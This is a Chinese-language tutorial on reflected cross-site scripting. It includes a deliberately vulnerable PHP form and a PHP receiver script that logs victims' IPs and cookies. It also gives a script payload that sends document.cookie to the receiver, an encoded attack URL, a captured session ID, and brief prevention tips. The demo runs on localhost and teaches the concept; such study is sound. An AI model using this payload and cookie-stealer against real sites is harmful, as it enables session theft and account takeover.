跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。以下为能够演示器原理的完整样例:
1.角色分配
有XSS漏洞的网站
受害访问者。也就是浏览器
黑客的数据接受网站
2.源码实例
2.1漏洞网站
<?php
session_start();
?>
<!doctype html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<form>
<input type="text" name="address" value="<?php echo $_GET['address'];?>"/>
<input type="submit" value="submit" />
</form>
</body>
</html>
该网页把用户通过GET发送过来的表单数据,未经过处理直接写入返回的html流,这就是XSS漏洞所在
2.2黑客接受网站
接受网站的URL为http://localhost/xss_hacker.php
<?php $victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'.$_GET['cookie']; fill_put_contents('xss_victim.txt',$victim); ?>
把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用
2.3用户正常访问
用户使用浏览器访问网站。现在的网站一般都采用session+cookie来保存用户登录信息的。网站通过验证cookie来确实是否是合法已登录用户,所以cookie是敏感数据.
3.攻击过程
3.1黑客准备攻击字符串,构造攻击URL
黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:
"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--
此时,用户访问漏洞网站的html代码,被修改成了这样:
<!doctype html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<form>
<input type="text" name="address" value=""/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--"/> <input type="submit" value="submit" /> </form> </body> </html>
明显看出,这个html回去执行一个脚本,这个脚本的功能是把用户的cookie发送到黑客的接受网站。
最终生成的攻击URL为:
http://localhost/xss.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2Flocalhost%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21–
接下来要做的就是,寻找受害人,诱惑其点击上述的URL。
3.2用户敏感数据被发送到黑客接受网站
受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件 中,当然现实的情况一定是存入数据库中了。xss_victim.txt中现在保存了受害者的敏感数据。
XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30
3.3黑客利用敏感数据做坏事
有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户的身份登录漏洞网站,等等
4.XSS的预防
XSS的预防可以从多方面着手:
1. 浏览器自身就可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;
2. 从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全符等手段,始终把安全 放在心上;